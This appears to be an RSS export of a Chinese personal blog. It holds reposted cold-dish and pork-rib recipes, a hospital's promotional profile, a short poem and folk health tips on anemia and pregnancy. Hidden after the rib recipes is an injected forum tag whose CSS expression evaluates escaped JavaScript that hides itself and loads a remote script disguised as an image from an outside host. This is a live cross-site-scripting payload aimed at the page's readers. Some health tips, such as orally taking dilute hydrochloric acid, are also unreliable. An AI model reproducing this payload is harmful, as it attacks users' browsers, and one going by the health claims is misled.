<![CDATA[健康天使]]> http://447120202.qzone.qq.com Mon, 30 Nov 2009 06:36:08 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sun, 15 Nov 2009 08:37:51 GMT <![CDATA[[转]50道色香味美的凉拌菜(01-20)]]> http://447120202.qzone.qq.com/blog/1258274271 1.清香手撕圆白菜
　　　　


　　　　花5分钟的时间，做2块钱的菜
　　　　原料：圆白菜1颗（约500克）干红辣椒６根大蒜２瓣
　　　　调料：料酒１汤匙（１５ｍｌ）米醋１汤匙（１５ｍｌ）白糖１茶匙（５克）盐１茶匙（５克）
　　　　做法：
　　　　1）圆白菜用手掰开成大片，放入沸水中焯烫变软捞出，入冷水过凉后沥干，再用手撕成小片儿．大蒜切成末备用。
　　　　2）锅烧热后倒入油，待油５成热时放入干红辣椒和蒜末，煸出香味后倒入圆白菜片儿，淋入料酒，米醋，调入白糖和盐，翻炒均匀后即可。
　　　　超级罗嗦：
　　　　**将圆白菜烫软过凉后再用手撕成小块，尽量避免蔬菜中的营养流失。手撕的圆白菜炒出来，要比用到刀切的好吃。在炒大白菜，小油菜等绿叶菜时，都可以用手撕的方法。但那种比较结实的蔬菜，就算了哈，就目前的技术手段，手撕土豆丝还算是杂技或魔术范畴。
　　　　**圆白菜在这里季节很便宜，而且容易保存，放在保鲜袋里仍冰箱冷藏，至少能存半个月。它和土豆，胡萝卜一样，都是可保存时间比较长的蔬菜。
　　　　2.剁椒炝拌三丝


　　　　原料：胡萝卜1根青笋1根干木耳1小把大蒜2瓣剁椒2汤匙（30克）熟白芝麻2汤匙（30克）盐1/2茶匙（3克）糖1/2茶匙（3克）鸡精盐1/4茶匙（1克）香油4汤匙（60ml）青花椒1汤匙（5克）
　　　　做法：
　　　　1）提前2小时将木耳用冷水泡发，洗净后切丝备用。胡罗卜去皮切丝。青笋去皮切丝。大蒜去皮压成蒜泥。
　　　　2）将青笋丝放入大碗中，加少许盐腌制10分钟。用这个时间，将胡萝卜丝和木耳丝在开水中焯烫20秒钟，捞出后过冷水，沥干后倒入青笋丝中。再调入剁椒，糖，鸡精，和少许盐（一定要酌量，因为腌制青笋丝时已加盐），搅拌均匀。
　　　　4）锅中倒入香油，大火烧4成热后，放入青花椒，看到油冒烟，即可关火，将油的1/3泼到拌好的三丝上，再撒入熟白芝麻，搅拌均匀后即可食用。剩余的香油，待冷却后摘去花椒，滗出油倒入密封瓶，留待拌其它凉菜食用。
　　　　超级啰嗦：
　　　　**炝拌是一种烹饪的方法，学会这种方法，就可以将原料当中木耳，胡萝卜，青笋换成任何你自己喜欢的食物。
　　　　**用香油炸花椒，再用来拌凉菜用，味道更香。如没青花椒，普通花椒也可以，只是没有那么麻而已。
　　　　**花椒油一次可多做一些。比如今天，我在原料中写“香油60ml”，那么做这个炝拌菜，就会用掉20ml，剩余的花椒油，可以再拌两次别的凉菜。夏天拌凉菜，用花椒油是不错的选择，可一次多做一点。比如200ml香油，20克青花椒，炸好后冷却，摘去花椒，滗出油倒入密封瓶子，随吃随用。
　　　　**凉拌菜中放蒜，吃过后，嘴里会有余味。这时，吃些菠萝，会有所改善哈。
　　　　｛分解ing......｝
　　　　 3.椒香海带丝附：干制海带处理方法




　　　　原料：海带200克青红椒各1个大蒜3瓣盐1/2茶匙（3克）糖1茶匙（5克）醋1汤匙（15ml）生抽1/2茶匙（3ml）香油1/2茶匙（3ml）
　　　　做法：
　　　　1）将青红椒去蒂去籽，切成细丝，泡入清水中，浸泡10分钟，即可自然弯曲。海带清洗表面，不必把表层粘液彻底洗净，切细丝。大蒜用压蒜器制成蒜蓉。
　　　　2）锅中倒入清水大火煮开后，放入海带丝，焯烫2分钟后浸入冷水中，待冷却后捞出沥干。
　　　　3）将海带丝，青红椒丝，蒜蓉放入碗中，加入盐，糖，醋，酱油和香油搅拌均匀即可。
　　　超级罗嗦：
　　　　**如果使用干制海带，应把海带表面冲洗一下，然后放入蒸锅中蒸30分钟后，再放入清水中浸泡一夜之后再用于烹饪口感才爽脆。不要将海带直接浸泡，否则无论炖煮炒拌，口感都有硬邦邦的感觉。（见图2）
　　　　**在用海带做菜时，无论炖煮炒拌，加一些醋，可以使口味更好。
　　　　**干制的海带表面有一层白霜，那是植物碱经过风化形成的一种叫做甘露醇的物质，非但无害，还有排毒退肿的作用。不要误认为那层白霜是盐分的析出，或是发霉变质的现象。
　　　　**海带表面有一层粘液，不需过分清洗，那样的话，很多营养物质都流失了哦。
　　　　**将青红椒切丝后浸泡在清水中，可以形成自然弯曲，对于菜品的装饰是个不错的方法。如果青红椒肉比较厚，可以用刀将椒内的肉肉片去适量，薄了之后再切丝，浸泡就更容易弯曲了。

　　　　4.芫爆土豆丝


　　　　

　　　　原料：土豆1个红椒半个香菜3根姜1茶匙（5克）葱1茶匙（5克）蒜1茶匙（5克）
　　　　调料：盐1/2茶匙（3克）胡椒粉1/2茶匙（3克）鸡精醋1/4茶匙（1克）香油1/4茶匙（1ml）
　　　　做法：
　　　　1)将土豆去皮后切成细丝，放入水中浸泡，以防止氧化变黑。红椒切丝备用。葱姜蒜切末。香菜切成3厘米长的段。
　　　　2)把葱姜蒜和香菜倒入碗中，调入盐，鸡精，胡椒粉，醋和香油调成汁。
　　　　3)锅中放入水加盐和油，大火加热至沸腾后，将土豆丝焯烫一下（约1分钟），捞出沥干水分。
　　　　4)炒锅烧热倒入油，将土豆丝和汁同时倒入，快速炒匀几下（约20秒钟，否则香菜会烂），放入红椒即可。
　　　　超级啰嗦：
　　　　**将土豆去皮后切成细丝，放入水中浸泡，以防止氧化变黑。切土豆丝的分解图方法，
　　　　**这道菜因需快炒，因此第（2）步骤中的调味，请提前做好。不要在炒制过程中，逐一添加。
　　　　**红椒切成细丝后，让入冷水中浸泡，15分钟后，会自然卷曲，可以用来平时做菜的点缀。
　　　　｛分解ing....｝ 　　　　

　　　　5.炝拌黄豆芽



　　　　原料：黄豆芽250克胡萝卜1根香菜2根
　　　　调料：花椒10粒盐1茶匙（5克）味精1/4茶匙（1克）香油少许
　　　　做法：
　　　　1）黄豆芽洗净，将胡萝卜去皮切成丝。香菜洗净切成3厘米长的段。
　　　　2）锅中倒入水烧开后放入黄豆芽焯烫1分钟，捞出放在漏网上。放入胡萝卜丝焯烫20秒钟捞出放在黄豆芽上沥干水分。
　　　　3）将黄豆芽，胡萝卜丝和香菜倒入大碗中，调入盐，味精，香油拌匀。用勺子烧热花椒油泼在上面，再搅拌均匀即可。
　　　　超级啰嗦：
　　　　**这个菜如果再放上一些黄瓜丝会更好吃，但我拍摄时才想起忘记买了。黄豆芽，我发现家乐福超市卖的不错，很新鲜也不贵。如果你喜欢吃绿豆芽，做法是一样的哈。
　　　　**用勺子烧花椒油可以避免浪费，但在烧的时候一定注意安全，千万不要开大火，用燃气灶最小最小一档的火力就足够了。烧到花椒开始变色，就关火泼在菜上，否则花椒烧糊了，其实麻味就不足够了。
　　　　**黄豆芽一斤最多2块钱，但我们就用一半就够了，大概1块钱吧。一根胡萝卜也就4毛钱，再加上其它的乱七八糟的东西，这个菜说2块钱，不过份吧？

　　　　6.XO酱拌凉皮


　　　　前几天听anniebaby说XO酱是如何如何的美味。没吃过是断不肯相信的，今天逛超市看到，赶紧拿下，哈哈!
　　　　凉拌菜是相当滴简单，就不用说啥乐！ 　　
　　　　1块钱凉皮~~

　　　　调味料~~ 　　

　　　　哈哈~~一样都不能少 　　　　
7.香干马兰头


　　　　去泗泾，没有带回什么“名贵”的东东，倒是农民种植的蔬菜带了数种，其中就有马兰头这一野菜。居士说：“菜的价格只有11元，但的士费倒花了20几元。正宗的妹仔大过主人啊。
　　　　为了做一款凉拌菜，去街市买了几块香干，一款美味而又有营养的【香干马兰头】上了餐桌。
　　　　做法相当的简单。


　　　　1）洗净马兰头飞水，控干水，切碎待用。
　　　　2）香干飞水，切碎粒。
　　　　3）热锅放油，煸炒香干粒，加入盐、鸡精、砂糖拌匀，关火放入1）并加香油拌匀，OK.
　　　　8.香菜拌豆腐


　　　　原材料:
　　　　南豆腐（嫩豆腐）、香菜、大葱、大蒜、盐、鸡精、香油


　　　　制作步骤：
　　　　1、将豆腐切小块，倒入加了盐的开水中汆水，去除豆腥味，捞出沥干水分，装盘晾凉备用；大葱和大蒜切丝，香菜切段备用。
　　　　2、炒锅加热香油，爆香葱丝，淋在豆腐上。
　　　　3、撒上蒜丝，加适量的盐和鸡精调正味，撒上香菜段，拌匀就OK！
　　　　非常清爽的凉拌菜，正好适合感冒者的口味！
　　　　9.西芹虾仁
　　　　


　　　　主料：西芹，红灯笼椒，嫩玉米笋，虾仁
　　　　调料：盐，鸡精，橄榄油
　　　　做法：
　　　　1、西芹，红椒切片，玉米笋对切，虾仁去肠泥洗净；
　　　　2、将以上材料放入滚水中穿烫半分钟，迅速捞起放入冰水中冷却；
　　　　3、漓干水分；放入有盖的大号保鲜盒密封，进冰箱冷藏备用
　　　　4、上桌前加入调料，再盖上盖子摇动拌匀；取出装盘即可
　　　　10.海苔脆黄瓜


　　　　主料：嫩黄瓜，黄灯笼椒，樱桃萝卜（洋花萝卜），海苔片
　　　　调料：盐，鸡精，糖，麻油
　　　　做法：
　　　　1、黄瓜，萝卜，黄灯笼椒洗净切片；
　　　　2、紫菜剪细条；
　　　　3、将步骤1中所有材料放入有盖的大号保鲜盒密封，进冰箱冷藏2小时备用；
　　　　4、上桌前加入调料，再盖上盖子摇动拌匀；取出装盘，洒上紫菜条即可
　　　　11.蟹肉黄瓜土豆泥
　　　　


　　　　主料：嫩黄瓜，土豆，人造蟹肉（熟），樱桃小番茄
　　　　调料：盐，鸡精，糖，美奶滋酱
　　　　做法：
　　　　1、黄瓜，蟹肉切丁；
　　　　2、土豆连皮煮熟；浸入冷水中冷却；去皮切丁；
　　　　3、将步骤1，2中所有材料放入有盖的大号保鲜盒密封，进冰箱冷藏2小时备用；
　　　　4、上桌前加入调料，再盖上盖子摇动拌匀；取出装盘，小番茄对切装饰即可。
　　　　12.凉拌莲藕

　　　　


　　　　材料：
　　　　莲藕400克，水梨1个，红辣椒1根，青辣椒1根，山芹菜少许，红枣4个，白芝麻1大匙。
　　　　调料：
　　　　糯米粉1杯，甘草汁1杯，辣椒粉1大匙，盐适量，醋少许。
　　　　制法：
　　　　1、糯米粉以少许水调匀并以小火煮成稠状，水梨去皮及核，切丝，青、红辣椒洗净，去籽切丝，红枣去核切丝，山芹菜切小段，烫熟备用。
　　　　2、莲藕洗净去节，以醋浸泡约3分钟，切成2－3毫米片状。
　　　　3、所有材料放入大盆中加入糯米水、甘草水、辣椒粉及盐拌匀并腌渍至入味即可。
　　　　13.凉拌西瓜皮
　　　　


　　　　原料：西瓜皮1/8个大蒜2瓣香菜1根盐1/4茶匙（1克）糖1/2茶匙（3克）米醋1茶匙（5ml）味精1/4茶匙（1克）香油1/4茶匙（ml）

　　　　


　　　　做法：
　　　　1）西瓜留一点瓤，别都去掉，这样吃起来有甜丝丝的口感。
　 　　


　　　　2）用刀片去绿色的硬皮部分。将切下来的西瓜皮，切成1cm大小的小丁。香菜洗净切成1cm长的段。
　　　　


　　　　2）用刀片去绿色的硬皮部分。将切下来的西瓜皮，切成1cm大小的小丁。香菜洗净切成1cm长的段。
　　　　14.陈醋海蛰头
　　　　 　　　　食材：海蛰头、香菜、大蒜

　　　　调料：镇江陈醋、糖、蘑菇精
　　　　做法：
　　　　1、海蛰头洗净后，切成块和条均可，用凉纯净水净泡2小时以上，
　　　　2、大蒜切成碎末、香菜切碎，
　　　　3、海蛰头倒去浸泡过的水，再用纯净水冲洗一次后沥干
　　　　4、碗中放入海蛰头、大蒜碎末、适量的糖和蘑菇精，倒入镇江陈醋后搅拌一下，使糖和蘑菇精化开，最后洒上香菜即可。
　　　　15.凉拌黑白双耳
　　　　食材：黑木耳、银耳、红椒干1个、蒜1瓣

　　　　调料：植物油、盐、糖、生抽、醋、鸡精
　　　　做法：
　　　　1、黑木耳、银耳分别洗净，泡发后用手摘成小朵，
　　　　2、将黑木耳、银耳倒入沸水中煮1-2分钟，捞起过冰水并沥干水分；
　　　　3、干红椒切丝，蒜切成碎末，一起放入热油锅中快速爆香，关火；
　　　　4、黑白木耳装碗中，加上盐、糖、鸡精，和少许生抽、醋、并浇上爆香的油，拌匀即可。
　　　　5、也可提前拌好放入冰箱冷藏后吃时风味更佳。
　　　　16.生拌紫甘蓝
　　　　做法：

　　　　紫甘蓝切丝，尽可能切得细，用少许精盐拌匀后腌制十分钟左右。
　　　　这段时间可以用蒜茸加入1：1的糖醋混合成调味汁。
　　　　炒锅加适量植物油，烧热，放入花椒、干的红辣椒，浇在甘蓝丝上，拌匀
　　　　上桌前浇调味汁，拌匀，吃。
　　　　提示：做法同样适用于白色和绿色的甘蓝。
　 　　17.五香花生
　　　　 　　　　原料：新鲜带壳花生500克，花椒1茶勺(5克)，八角2颗,小茴香1茶勺(5克)，桂皮２小片,香叶2片,生姜3片,盐2茶勺。

　　　　做法：
　　　　1.花生反复用清水彻底洗净，然后将每个花生捏开一个小口
　　　　2.将花椒，八角，小茴香，桂皮，香叶,生姜等放入纱布包，封口。
　　　　3.锅中倒入可以没过花生的水（我加了大概1升水），放入调味纱布包
　　　　4.放入洗净的花生，加入盐
　　　　5.盖上盖子，用大火煮开后转成中火，继续煮20分钟后关火。关火后不用开盖子，继续泡2个小时之后再吃，味道就进去了。
　　　　小提示：
　　　　1、如果没有那么多种调料，只放花椒、大料和盐做出来味道也很好。
　　　　2、花生挑的时候，轻轻捏一捏，越鼓越好。
　　　　3、如果打算第二天再吃，可以不捏口，泡一夜，花生就入味了。
　　　　18.糟香毛豆
　　　　
　　　　新鲜毛豆用剪子剪掉头尾尖的部分，洗净后下开水中煮到熟酥，用凉开水冲洗，2\2糟卤倒入大容器中，再添加1\3凉水，放入凉透的毛豆，盖好盖子放冰箱冰镇4个小时可以食用了。

　　　　19.凉拌蟹柳丝
　　　　 　　　　食材：蟹柳、香菜碎、开洋、芝麻

　　　　调料：植物油、鸡精、海鲜麻辣酱
　　　　做法:
　　　　1、将蟹柳放入热水中煮1-2分钟取出沥干水分晾凉备用，开洋用热水泡开
　　　　2、小火加热平底锅，放入芝麻仁焙至金黄色，出香气，离火晾凉备用；
　　　　3、将放凉的蟹柳撕成细条，滴入植物油，放入开洋、香菜碎、加上自己认为合适的海鲜麻辣酱（也可以是其他辣酱或不放）一起搅拌均匀
　　　　4、将拌好的蟹柳丝放到盘中，撒上芝麻即可食用。
　　　　20.手撕白斩鸡
　　　　 　　　　原料：小香菇干、肥母鸡

　　　　配料：香菜、姜片
　 　　1.小香菇干提前泡发好，鸡洗净
　　　　2.将鸡、香菇、少许姜片放入高压锅内，开锅后压15-20分钟
　　　　3.鸡油用小火及姜片慢煎，出油后放入碗中，待冷后加入盐、少许糖调好后放入冰箱中，冷却备用
　　　　4.鸡做好后，放冷用手将鸡肉撕成小块，再将冷却的鸡油倒入搅拌装盘即可
50道家常菜肴
50道凉拌菜(21-40)
50道凉拌菜(41-50)



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]]> http://447120202.qzone.qq.com/blog/1258274271#comment 142627337 Sun, 15 Nov 2009 08:37:51 GMT http://447120202.qzone.qq.com/blog/1258274271 <![CDATA[[转]以后一定要学会这十种排骨做法]]> http://447120202.qzone.qq.com/blog/1256694275 1、香酥排骨


用料：
　　1、猪排骨一斤。
　　2、葱三棵。
　　3、老姜一块。
　　4、酱油一大匙。。
　　5、五香粉咖啡匙。
　　6、熟芝麻一大匙。
　　7、香油一小匙。
　　8、盐、味精适量。
　　9、汤或水一汤匙。
　　做法：
　　1、排骨斩段，过飞水捞出；葱切段；姜切片。
　　2、将排骨放沸水锅中煮约二十分钟，捞出后装碗里，放入酱油、姜片、盐，拌匀码味约三十分钟。
　　3、锅中放油烧至七成热，下排骨炸至表面微黄色后捞出。锅中留约一两油，放入排骨、汤或水、五香粉、味精，用中火烧至汤汁将干时，放芝麻、香油铲匀即可起锅装盘上桌。

2、草莓酱排骨


用料：
　　1、猪排骨半斤。
　　2、草莓酱两大匙。
　　3、蕃茄酱两大匙。
　　4、白糖一咖啡匙。
　　5、盐、鸡精适量。
　　做法：
　　1、排骨斩段，飞水去血沫后捞出。
　　2、将排骨装盘子里，放沸水蒸锅中大火蒸约半小时后，取出待用。
　　3、锅中放油烧至四成热，放入草莓酱、蕃茄酱、白糖、盐用小火慢炒约一分钟，下排骨、鸡精，翻炒均匀后起锅装盘即成。

3、糖醋排骨


用料：
　　1、猪排骨一斤，斩段。
　　2、白糖三大匙。
　　3、醋四大匙。
　　4、酱油两大匙。
　　5、葱四棵，切段。
　　6、老姜一小块、蒜一瓣，均切片。
　　7、泡辣椒六个，切段。
　　8、淀粉一大匙，加水兑成芡汁。
　　9、盐适量。
　　做法：
　　1、将排骨过沸水，捞出沥干待用。
　　2、锅中放油烧至七成热，下排骨爆干水气再爆至微黄，放入酱油、泡辣椒段、姜蒜片略炒后，加约两斤水，烧沸后改小火烧约一小时。至汤汁快干时，下盐、醋、糖、葱铲匀，勾芡，铲匀，起锅装盘即成。
4、豉香排骨



用料：
　　1、排骨一斤半。
　　2、豆豉三大匙。
　　3、芹菜二两。
　　4、葱半两。
　　5、老姜一块。
　　6、蒜半个。
　　7、油辣椒三大匙。
　　8、蚝油两大匙。
　　9、干红葡萄酒半汤匙。
　　10、盐、鸡精适量。
　　做法：
　　1、将排骨过沸水后捞出沥干水分；蒜切末；老姜一半切末一半切片；芹菜切段；葱切段。
　　2、在排骨中放入姜片、葱段、干红葡萄酒，拌匀后码味二十分钟以上。
　　3、放沸水蒸锅中大火蒸约四十分钟，取出后沥干水分。
　　4、锅中放油烧至五成热，下排骨炸呈微黄色后捞出待用。
　　5、锅中留约一汤匙油，烧至五成热，下姜末、蒜末、豆豉，改小火不断翻炒约一分半钟，下排骨、油辣椒、芹菜、蚝油、盐，慢炒约三分钟至入味，放鸡精铲匀，起锅装盘即成。
5、五香粉蒸排骨



用料：
　　1、猪排骨一斤，斩段。
　　2、大米二两。
　　3、葱四棵，切碎。
　　4、甜面酱一大匙。
　　5、红糖一大匙。
　　6、酱油两大匙。
　　7、老姜极小块，切末。
　　8、醪糟汁两大匙。
　　9、五香粉一小匙。
　　做法：
　　1、在排骨中放入盐、酱油、红糖、甜面酱、醪糟汁、葱碎、姜末、五香粉拌匀码味。
　　2、将珍珠米下锅烘焙呈微黄色，盛出晾凉后，放搅拌机里搅碎，倒入排骨中拌匀。上沸水蒸锅里用中大火蒸一小时。将碗取出后用另一大盘扣在碗上，把排骨翻倒在盘里即可上桌。

6、海带排骨汤



用料：
　　1、猪排骨两斤，斩段。
　　2、鲜海带一斤，切长方块。
　　3、老姜一块，用刀拍破。
　　4、花椒二十余粒。
　　5、黄酒两大匙。
　　6、盐适量。
　　做法：
　　1、将海带块放沸水中十分钟，捞出后泡清水里。
　　2、将排骨放沸水里焯一下去血沫。
　　3、在炖锅中加半锅水，下排骨、海带、老姜、花椒、黄酒，大火烧沸后改微火煲一个半小时后放盐，改中火炖约十分钟，起锅盛汤钵里可配上适合自己口味的调料即可食用。
7、莲藕排骨汤


用料：
　　1、排骨一斤半，斩成段在沸水中焯一下后捞起。
　　2、藕两斤（边沿九孔的粉藕），切小块或切段后用刀拍破。
　　3、老姜一切，用刀拍破。
　　4、花椒约二十粒。
　　5、黄酒两大匙。
　　6、盐适量。
　　做法：
　　先把藉放炖锅中小火炖四十分钟，或在高压锅中压二十分钟，然后放入排骨，烧沸后打去浮沫，再放料酒、花椒、老姜，沸后改小火炖一小时后，放盐再继续炖一小时即成。


8、冬瓜排骨汤


用料：
　　1、猪排骨一斤，斩块。
　　2、冬瓜一斤半，切约一厘米厚的片。
　　3、葱半两，挽结。
　　4、老姜一块，用刀拍破。
　　5、花椒约二十粒。
　　6、黄酒两匙。
　　7、盐适量。
　　做法：
　　1、将排骨在沸水中焯一下去腥味和血水，捞起备用。
　　2、炖锅中加水，放入姜块、葱结、花椒，烧沸后倒入排骨、黄酒。
　　3、再次烧沸后放盐，改微火煲一个半小时，再倒入冬瓜块。
　　4、改中火煮约二十分钟至冬瓜软熟，捞去葱结不要，盛烫碗里即可上桌。
9、孜然排骨



用料：
　　1、猪排骨半斤，斩小段后充分洗净。
　　2、孜然粉一咖啡匙。
　　3、花椒粉一咖啡匙。
　　4、辣椒粉两匙（可依个人喜好增减）。
　　5、葱两棵切碎。
　　6、老姜一小小块切末。
　　7、料酒两大匙。
　　8、白糖一匙。
　　9、盐、味精、红油适量。
　　做法：
　　1、用盐、姜末、葱碎料酒放排骨里拌匀腌两小时以上。
　　2、放入孜然粉、花椒粉、辣椒粉、白糖、味精、红油，拌匀。
　　3、放微波炉里高火烤10分钟即成。
10、红烧排骨


材料：排骨、胡萝卜（可根据个人口味改成土豆等）、香菇、大葱、姜、八角、陈皮。
　　做法：
　　1.把水烧开，把排骨放进沸水煮1分钟，倒掉血水；

　　2.锅中放入少量油，烧至冒烟，放入姜、大葱爆香，再把排骨放入，翻炒片刻；
　　
3.放入水，水开时放入八角、陈皮、胡萝卜和香菇；
　　4.放入调料（绍酒、盐、糖和老抽），大火烧20-30分钟；
　　5.上碟前5分钟放入鸡精、淀粉水勾芡


















[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://447120202.qzone.qq.com/blog/1256694275#comment 521 Wed, 28 Oct 2009 01:44:35 GMT http://447120202.qzone.qq.com/blog/1256694275 <![CDATA[医院概况]]> http://447120202.qzone.qq.com/blog/1256526656
东营中西医结合医院位于西城北二路717号（胜华转盘西100米油田党校东邻），地理位置优越，交通便利，是一所以高科技医疗项目为重点，高标准医疗服务为起点，集医疗、科研、预防、保健、康复为一体的现代化综合性医院。医院环境优雅，布局合理，宽敞明亮，就诊轻松方便，医务人员服务热情周到，为广大患者营造一个“安全、典雅、舒适、温馨”的医疗环境，医院遵循“以人为本、创新医学”的办院宗旨，技术力量雄厚，医疗设备先进，专科配备齐全，技术领先。并注重广纳贤才，开发人力资源，拥有北京、上海、山东等全国各地具有知名度的专家教授轮流会诊或参与诊治工作指导。所有科室均有副主任医师以上坐诊，形成了“每个科室有专家，每日专家坐门诊”的医疗格局。建立了以科技为先导，以技术为依托的特色科室发展模式。医院开设有内科、外科、儿科、中医科、皮肤科、预防保健科及被誉为“女性健康绿色通道”的妇科专家会诊中心、薇薇LK&L保宫无痛人流中心、妇科炎症诊疗中心、宫颈疾病诊疗中心、不孕不育工作站、男科诊疗中心、前列腺康复中心、泌尿外科诊疗中心、泌尿生殖感染诊疗中心、男女生殖整形中心、肛肠腋臭诊疗、护理部、检验中心等科室。医院的建立得到了当地政府的大力支持。同时得到了国家有关方面的重视，原国家卫生部部长钱信忠亲自为医院题词，全国政协委员，一代名医施奠救先生，原国家中医药管理局局长吕炳奎，中国老人保健协会会长，武警总部卫生部部长李深等知名人士为医院题词。
在高科技大行其道的当今医疗界，医院遵循科技兴院方针，从国内外引进现代化诊疗设备，目前有X光检测仪、美国GE彩超、黑白腹部B超、心电图机、日本奥林巴斯生物显微镜、SQA-V全自动精子质量分析仪、GF-280尿液分析仪、BC-1800血球计数仪、XN06血凝仪、VLH-HS妇科不孕症诊疗工作站、GM光能微创治疗仪、KQ纯臭氧妇科无创治疗系统、微米光妇科治疗仪、微波治疗仪、意大利莎顿120工作站、VL—H盆腔治疗仪、KDH红外线治疗仪、雾化治疗仪、美国KT真彩数码电子阴道镜、薇薇LK&L保宫无痛人流术、多普勒血流分析仪、TSQZ-2000D体外透融治疗仪、ST-W高能渗透治疗系统、ZFYY-PC智能型男性性功能康复治疗仪、TRM-2D型多功能前列腺治疗仪等一系列高、精、尖设备，组成了一套全方位的诊断和治疗的科学系统。
医院环境优雅、舒适文明、热情周到的服务已在患者中享有很高的声誉，引进现代化最新管理模式，坚持“标准建院、规范办院、从严治院”的方针，确立了“一切以病人为中心”的服务宗旨。“创品牌医院、创病人满意医院”是医院奋斗的目标，“德术并举、质量至上”是医院的立院之本。“情系苍生、仁爱为民”是医院的价值理念。履行“信誉为本、病人至上、质量第一”承诺，竭诚为社会各界朋友提供优质、规范、价平、便捷的医疗服务是医院全体医务人员永恒的追求。







]]> http://447120202.qzone.qq.com/blog/1256526656#comment 134218240 Mon, 26 Oct 2009 03:10:56 GMT http://447120202.qzone.qq.com/blog/1256526656 <![CDATA[[转]假如你不够快乐]]> http://447120202.qzone.qq.com/blog/1252105807

　　也不要把眉头深锁


　　人生本来短暂


　　为什么　还要栽培苦涩


　　打开尘封的门窗


　　让阳光雨露洒遍每个角落


　　走向生命的原野


　　让风儿熨平前额


　　博大可以稀释忧愁


　　深色能够覆盖浅色

]]> http://447120202.qzone.qq.com/blog/1252105807#comment 134217736 Fri, 04 Sep 2009 23:10:07 GMT http://447120202.qzone.qq.com/blog/1252105807 <![CDATA[调节女人贫血的几个方法]]> http://447120202.qzone.qq.com/blog/1251892617 1.生活的调理
保持心情舒畅，避免剧烈活动、劳累。体位改变应缓慢进行，以免产生急性脑缺血而晕倒。
2.饮食的调摄
多吃绿色蔬菜和含铁量高的食物，如蛋黄、牛肉、肝、肾、海带、豆类等。不饮茶，茶叶中的鞣酸会阻碍铁质的吸收。胃酸缺乏(如萎缩性胃炎、胃切除术后)者可适当口服些稀盐酸。盐酸能将食物中的铁游离化，增加铁盐的溶解度，有利吸收。吃一些维生素C，有利食物中铁的吸收。使用传统的铁锅煎炒食物，锅与铲之间的磨擦会产生许多微小的碎屑，在加热过程中，铁可溶于食物之中，故铁锅是一种很好的补血器皿。
3.食疗补血
①莲子桂圆汤：莲子、桂圆肉各30克，红枣20克，冰糖适量。将莲子泡发后去皮、心洗净，与洗净的桂圆肉、红枣一同放入沙锅中，加水适量煎煮至莲子酥烂，加冰糖调味。睡前饮汤吃莲子、红枣、桂圆肉，每周服用1-2次。此方具有补心血、健脾胃功效，适用于贫血乏力、神经衰弱、心悸、健忘、睡眠不安等。
②猪肝粥：猪肝(其它动物肝脏也可)100～150克，粳米100克。先将猪肝洗净切碎，与粳米一同入锅，加水1000克及葱、姜、油、盐各适量，先用旺火烧开，再转用文火熬煮成稀粥。日服1剂，分数次食用。此方具有益血补肝、明目的功效，适用于血虚萎黄、贫血、慢性肝炎、夜盲、青光眼等症。
③当归羊肉：汤山羊肉400克切块，黄芪、党参、当归各25克(纱布袋装)，同放沙锅内，加水1000毫升，文火煨煮，至羊肉烂时放入生姜25克和食盐适量，吃肉喝汤，经常食用。此方最适宜于脾肾阳虚贫血患者食用。
④杞子红枣煲鸡蛋：枸杞子20克，红枣10枚，鸡蛋2个，同煮，蛋熟后去壳再同煮10分钟。吃蛋饮汤，每天或隔天1次。有补虚劳、益气血、健脾胃等功效。可治疗贫血症，还可用于体质虚弱、头晕眼花、健忘失眠、视力减退的调理。

东营中西医结合医院欢迎您的垂询

]]> http://447120202.qzone.qq.com/blog/1251892617#comment 134218241 Wed, 02 Sep 2009 11:56:57 GMT http://447120202.qzone.qq.com/blog/1251892617 <![CDATA[初秋怀孕预防的三种疾病]]> http://447120202.qzone.qq.com/blog/1251889088
初秋怀孕一定要防三种疾病：

　对身怀六甲的准妈妈来说，秋天是比较舒服的季节。不过，要想做个健康的秋孕准妈妈，一定得做好“三防”——防腹泻、防便秘、防呼吸道疾病。
　
预防腹泻是因为秋天上市的新鲜瓜果较多，但如果不注意食品卫生，抵抗力相对较差的孕妇就容易闹肚子了。闹肚子很可能刺激孕妇宫缩甚至导致早产。因此，孕妇秋天一定要注意饮食卫生，吃新鲜瓜果一定要洗净.
　其次，孕妇第二个要注意的是便秘。秋天气候干燥，孕妇如不注意饮食调理，就可能便秘。建议孕妇饮食中油腻食物和肉类要适量，别一味追求贴秋膘，要适当增加新鲜水果和蔬菜的比例。另外，多喝水、养成定时排便习惯.
　
最后，秋天天气转凉，孕妇更容易感冒、患上呼吸道疾病。此外需要特别注意的是，妊娠早期感冒发烧可影响胎儿中枢神经系统发育，甚至导致胎儿畸形。　孕妇要加强营养、适度活动，保持良好心情，以增强机体免疫力。室内要经常通风换气，经常用醋熏蒸房间;孕妇最好不要长时间待在人多的场合，以免交叉感染。
　此外，孕妇还要特别当心风疹、巨细胞病毒的感染，这类病毒可能导致胎儿畸形。尤其在怀孕早期，如怀疑有感染，最好去医院做相关检查。
]]> http://447120202.qzone.qq.com/blog/1251889088#comment 134218240 Wed, 02 Sep 2009 10:58:08 GMT http://447120202.qzone.qq.com/blog/1251889088 <![CDATA[必看：准爸伤害胎宝宝的行为]]> http://447120202.qzone.qq.com/blog/1251628841
　　1.不在乎妻子在厨房久留

　　有些准爸爸一直在家里做“甩手掌柜”，妻子怀孕后一时改不了这个习惯，妻子不得不经常久留于厨房。
　　根据国内外有关研究表明，粉尘、有毒气体密度最大的地方，不是在工厂、街道，而是生活中天天都离不开的厨房里。因为煤气或液化气的成分均很复杂，燃烧后在空气中会产生多种对人体极为有害的气体，尤其是对孕妈咪的危害更是犹如“雪上加霜”。
